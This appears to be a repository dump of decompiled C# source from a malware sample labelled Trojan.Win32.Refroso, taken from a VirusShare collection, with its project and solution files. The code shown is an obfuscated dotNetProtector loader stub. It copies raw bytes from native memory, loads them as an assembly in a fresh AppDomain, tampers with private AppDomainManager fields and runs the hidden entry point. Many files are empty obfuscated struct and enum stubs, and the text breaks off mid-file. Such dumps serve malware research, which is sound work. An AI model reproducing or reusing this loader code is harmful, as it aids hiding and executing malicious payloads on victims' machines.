|
||||
}
|
||||
+121
@@ -0,0 +1,121 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{D55582CE-B6A6-4500-BC7D-EE7FD010B541}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Cursor</AssemblyName>
|
||||
<ApplicationVersion>1.0.0.0</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualC" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_003CdotNetProtector_003E.cs" />
|
||||
<Compile Include="õ\ü.cs" />
|
||||
<Compile Include="õ\ñ.cs" />
|
||||
<Compile Include="õ\¿.cs" />
|
||||
<Compile Include="õ\¦.cs" />
|
||||
<Compile Include="õ\_0099.cs" />
|
||||
<Compile Include="õ\_0081Ï.cs" />
|
||||
<Compile Include="_0082¼\_0082».cs" />
|
||||
<Compile Include="_0082¼\_0082¶.cs" />
|
||||
<Compile Include="_0082¼\_0082.cs" />
|
||||
<Compile Include="_0082¼\_0082©.cs" />
|
||||
<Compile Include="_0082¼\_0082¦.cs" />
|
||||
<Compile Include="_0082¼\_0082¢.cs" />
|
||||
<Compile Include="_0082¼\_0082_0095.cs" />
|
||||
<Compile Include="_0082¼\_0082_0094.cs" />
|
||||
<Compile Include="_0082¼\_0082_008A.cs" />
|
||||
<Compile Include="_0082¼\_0082_0084.cs" />
|
||||
<Compile Include="_0082¼\_0081ù.cs" />
|
||||
<Compile Include="_0082¼\_0081ò.cs" />
|
||||
<Compile Include="_0082¼\_0081ì.cs" />
|
||||
<Compile Include="_0082¼\_0081ã.cs" />
|
||||
<Compile Include="_0082¼\_0081Ü.cs" />
|
||||
<Compile Include="_0082¼\_0081Õ.cs" />
|
||||
<Compile Include="_0082¼\_0081Î.cs" />
|
||||
<Compile Include="_0082¼\_0081Ç.cs" />
|
||||
<Compile Include="_0082¼\_0081Â.cs" />
|
||||
<Compile Include="_0082¼\_0081¹.cs" />
|
||||
<Compile Include="_0082¼\_0081³.cs" />
|
||||
<Compile Include="_0082¼\_0081«.cs" />
|
||||
<Compile Include="_0082¼\_0081§.cs" />
|
||||
<Compile Include="_0082¼\_0081 .cs" />
|
||||
<Compile Include="_0082¼\_0081_009C.cs" />
|
||||
<Compile Include="_0082¼\_0081_0097.cs" />
|
||||
<Compile Include="_0082¼\_0081_0093.cs" />
|
||||
<Compile Include="_0082¼\_0081_0090.cs" />
|
||||
<Compile Include="_0082¼\_0081_008B.cs" />
|
||||
<Compile Include="_0082¼\_0081_0088.cs" />
|
||||
<Compile Include="_0082¼\_0081_0083.cs" />
|
||||
<Compile Include="_0082¼\_0081_0080.cs" />
|
||||
<Compile Include="_0082¼\ä.cs" />
|
||||
<Compile Include="_0082¼\Ê.cs" />
|
||||
<Compile Include="_0082¼\1Ä.cs" />
|
||||
<Compile Include="_0082¼\µ.cs" />
|
||||
<Compile Include="_0082¼\Á.cs" />
|
||||
<Compile Include="_0082¼\.cs" />
|
||||
<Compile Include="_0082¼\¨.cs" />
|
||||
<Compile Include="_0082¼\´.cs" />
|
||||
<Compile Include="_0082¼\±.cs" />
|
||||
<Compile Include="_0082¼\ .cs" />
|
||||
<Compile Include="_0082¼\_0094.cs" />
|
||||
<Compile Include="_0082¼\_008D.cs" />
|
||||
<Compile Include="_0082¼\_0088.cs" />
|
||||
<Compile Include="_0082¼\_0086.cs" />
|
||||
<Compile Include="_0082¼\_0082².cs" />
|
||||
<Compile Include="_0082¼\_0082º.cs" />
|
||||
<Compile Include="_0082¼\_0082³.cs" />
|
||||
<Compile Include="_0082¼\_0082_009A.cs" />
|
||||
<Compile Include="_0082¼\_0082¨.cs" />
|
||||
<Compile Include="_0082¼\_0082§.cs" />
|
||||
<Compile Include="_0082¼\_0082¥.cs" />
|
||||
<Compile Include="_0082¼\_0082_008E.cs" />
|
||||
<Compile Include="_0082¼\_0082_0088.cs" />
|
||||
<Compile Include="_0082¼\_0081æ.cs" />
|
||||
<Compile Include="_0082¼\_0081$.cs" />
|
||||
<Compile Include="_0082¼\1_0081î.cs" />
|
||||
<Compile Include="_0081é\_0081ê.cs" />
|
||||
<Compile Include="_0081é\_0081Þ.cs" />
|
||||
<Compile Include="_0081é\_0081Ù.cs" />
|
||||
<Compile Include="PvLogiciels\dotNetProtector\RuntimeInterop.cs" />
|
||||
<Compile Include="å\è.cs" />
|
||||
<Compile Include="å\Ü.cs" />
|
||||
<Compile Include="å\Ö.cs" />
|
||||
<Compile Include="å\Ñ.cs" />
|
||||
<Compile Include="å\®.cs" />
|
||||
<Compile Include="å\_008E.cs" />
|
||||
<Compile Include="å\_0082_009D.cs" />
|
||||
<Compile Include="å\_0082_0098.cs" />
|
||||
<Compile Include="å\_0082_0090.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.csproj", "{D55582CE-B6A6-4500-BC7D-EE7FD010B541}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D55582CE-B6A6-4500-BC7D-EE7FD010B541}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{D55582CE-B6A6-4500-BC7D-EE7FD010B541}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{D55582CE-B6A6-4500-BC7D-EE7FD010B541}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{D55582CE-B6A6-4500-BC7D-EE7FD010B541}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+10
@@ -0,0 +1,10 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: <dotNetProtector>
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
public class \u003CdotNetProtector\u003E
|
||||
{
|
||||
internal static readonly long _Reserved;
|
||||
}
|
||||
+281
@@ -0,0 +1,281 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: é.Ù
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using \u0081é;
|
||||
using \u0082\u00BC;
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0081é
|
||||
{
|
||||
[Serializable]
|
||||
internal class \u0081Ù
|
||||
{
|
||||
private IntPtr \u0082\u00B0;
|
||||
private IntPtr á;
|
||||
private int Þ;
|
||||
private Assembly Û;
|
||||
|
||||
private unsafe Assembly \u00F7()
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.î((byte*) this.\u0082\u00B0.ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
int length1 = Marshal.ReadInt32(ptr);
|
||||
IntPtr source = (IntPtr) (void*) (numPtr + 4);
|
||||
byte[] rawAssembly = new byte[length1];
|
||||
byte[] destination = rawAssembly;
|
||||
int length2 = length1;
|
||||
Marshal.Copy(source, destination, 0, length2);
|
||||
Assembly assembly = Assembly.Load(rawAssembly);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
return assembly;
|
||||
}
|
||||
|
||||
private unsafe Assembly \u0089()
|
||||
{
|
||||
byte* numPtr = (byte*) \u0082\u00BB.ô((byte*) this.\u0082\u00B0.ToPointer());
|
||||
if ((IntPtr) numPtr == IntPtr.Zero)
|
||||
return (Assembly) null;
|
||||
IntPtr ptr = (IntPtr) (void*) numPtr;
|
||||
string stringAnsi = Marshal.PtrToStringAnsi(ptr);
|
||||
Marshal.FreeCoTaskMem(ptr);
|
||||
Assembly assembly = (Assembly) null;
|
||||
try
|
||||
{
|
||||
assembly = Assembly.Load(stringAnsi);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
return assembly;
|
||||
}
|
||||
|
||||
public static unsafe int \u0081Ö(Assembly _param0, int _param1)
|
||||
{
|
||||
// ISSUE: untyped stack allocation
|
||||
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
|
||||
IntPtr hinstance = Marshal.GetHINSTANCE(_param0.GetLoadedModules()[0]);
|
||||
int num2 = 0;
|
||||
\u0081Ù ù = new \u0081Ù();
|
||||
ù.Û = _param0;
|
||||
ù.\u0082\u00B0 = hinstance;
|
||||
ù.Þ = _param1;
|
||||
IntPtr num3 = (IntPtr) (void*) &num2;
|
||||
ù.á = num3;
|
||||
AppDomain domain = AppDomain.CreateDomain(Guid.NewGuid().ToString());
|
||||
int id = domain.Id;
|
||||
domain.AssemblyResolve += new ResolveEventHandler(\u0081Ù.ç);
|
||||
CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(ù.í);
|
||||
domain.DoCallBack(callBackDelegate);
|
||||
try
|
||||
{
|
||||
AppDomain.Unload(domain);
|
||||
}
|
||||
catch (Exception ex1) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
uint exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num4 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex2) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num4 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num4 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
goto label_10;
|
||||
if (num4 != 0U)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num4);
|
||||
}
|
||||
}
|
||||
label_10:
|
||||
\u0082\u00BB.ù();
|
||||
\u0082\u00BB.\u0095(id);
|
||||
return num2;
|
||||
}
|
||||
|
||||
public unsafe void í()
|
||||
{
|
||||
FieldInfo fieldInfo = (FieldInfo) null;
|
||||
// ISSUE: untyped stack allocation
|
||||
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
|
||||
Assembly entryAssembly = Assembly.GetEntryAssembly();
|
||||
uint exceptionCode;
|
||||
if ((object) entryAssembly == null)
|
||||
{
|
||||
\u0081ê.\u0081\u0099 = this.Û;
|
||||
try
|
||||
{
|
||||
fieldInfo = (FieldInfo) null;
|
||||
AppDomain currentDomain = AppDomain.CurrentDomain;
|
||||
AppDomainManager appDomainManager = currentDomain.DomainManager;
|
||||
if (appDomainManager == null)
|
||||
{
|
||||
appDomainManager = new AppDomainManager();
|
||||
typeof (AppDomain).GetField("_domainManager", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) currentDomain, (object) appDomainManager);
|
||||
}
|
||||
typeof (AppDomainManager).GetField("m_entryAssembly", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) appDomainManager, (object) entryAssembly);
|
||||
}
|
||||
catch (Exception ex1) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num2 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex2) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num2 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
goto label_18;
|
||||
if (num2 != 0U)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num2);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
\u0081ê.\u0081\u0099 = entryAssembly;
|
||||
label_18:
|
||||
Assembly assembly = (Assembly) null;
|
||||
switch (this.Þ & 805306368)
|
||||
{
|
||||
case 536870912:
|
||||
assembly = this.\u0089();
|
||||
break;
|
||||
case 805306368:
|
||||
assembly = this.\u00F7();
|
||||
break;
|
||||
}
|
||||
if ((object) assembly == null)
|
||||
return;
|
||||
MethodInfo entryPoint = assembly.EntryPoint;
|
||||
if ((object) entryPoint == null)
|
||||
return;
|
||||
object[] parameters = new object[0];
|
||||
if (entryPoint.GetParameters().Length != 0)
|
||||
{
|
||||
string[] commandLineArgs = Environment.GetCommandLineArgs();
|
||||
string[] destinationArray = new string[commandLineArgs.Length - 1];
|
||||
int length = destinationArray.Length;
|
||||
if (length != 0)
|
||||
Array.Copy((Array) commandLineArgs, 1, (Array) destinationArray, 0, length);
|
||||
parameters = new object[1]
|
||||
{
|
||||
(object) destinationArray
|
||||
};
|
||||
}
|
||||
object obj = entryPoint.Invoke((object) null, parameters);
|
||||
if (obj == null)
|
||||
return;
|
||||
try
|
||||
{
|
||||
Marshal.WriteInt32(this.á, Convert.ToInt32(obj));
|
||||
}
|
||||
catch (Exception ex3) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num3 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex4) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num3 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num3 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
return;
|
||||
if (num3 == 0U)
|
||||
return;
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num3);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Assembly ç(object _param0, ResolveEventArgs _param1) => \u0082\u00BB.\u0081õ(_param1.Name);
|
||||
}
|
||||
}
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: é.Þ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using \u0081é;
|
||||
using \u0082\u00BC;
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace \u0081é
|
||||
{
|
||||
[Serializable]
|
||||
internal class \u0081Þ
|
||||
{
|
||||
private IntPtr þ;
|
||||
private int \u0092;
|
||||
[NonSerialized]
|
||||
private AppDomain ú;
|
||||
|
||||
public \u0081Þ(AppDomain domain, int domainId)
|
||||
{
|
||||
this.\u0092 = domainId;
|
||||
this.ú = domain;
|
||||
this.þ = IntPtr.Zero;
|
||||
}
|
||||
|
||||
public void \u0081ý()
|
||||
{
|
||||
if (this.ú == null)
|
||||
return;
|
||||
try
|
||||
{
|
||||
for (int index = 0; index < 10; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
string friendlyName = this.ú.FriendlyName;
|
||||
Thread.Sleep(50);
|
||||
}
|
||||
catch (AppDomainUnloadedException ex)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.\u0095(this.\u0092);
|
||||
}
|
||||
}
|
||||
|
||||
public static AppDomain \u0081\u008D()
|
||||
{
|
||||
MethodInfo method = typeof (AppDomain).GetMethod("GetDefaultDomain", BindingFlags.Static | BindingFlags.NonPublic);
|
||||
return (object) method == null ? (AppDomain) null : method.Invoke((object) null, (object[]) null) as AppDomain;
|
||||
}
|
||||
|
||||
public void \u009C()
|
||||
{
|
||||
Marshal.GetObjectForIUnknown(this.þ);
|
||||
Marshal.Release(this.þ);
|
||||
this.þ = IntPtr.Zero;
|
||||
new Thread(new ThreadStart(this.\u0081ý)).Start();
|
||||
}
|
||||
|
||||
public void \u0081\u0084(object _param1, EventArgs _param2)
|
||||
{
|
||||
AppDomain appDomain = \u0081Þ.\u0081\u008D();
|
||||
if (appDomain == null)
|
||||
return;
|
||||
CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(this.\u009C);
|
||||
this.þ = Marshal.GetIUnknownForObject((object) this.ú);
|
||||
this.ú = (AppDomain) null;
|
||||
appDomain.DoCallBack(callBackDelegate);
|
||||
}
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: é.ê
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using System.Reflection;
|
||||
|
||||
namespace \u0081é
|
||||
{
|
||||
internal class \u0081ê
|
||||
{
|
||||
internal static Assembly \u0081\u0099 = (Assembly) null;
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.î
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 32)]
|
||||
internal struct \u0081î
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Ä
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 28)]
|
||||
internal struct Ä
|
||||
{
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.$
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 216)]
|
||||
internal struct \u0081\u0024
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 16)]
|
||||
internal struct \u0081ö
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081\u0080
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u0083
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081\u0088
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081\u008B
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u0090
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Refroso.hqmj-a46444251debd74675b60bb330cf99debe122ec24698468f4a3835595fddbe4e.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u0093
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
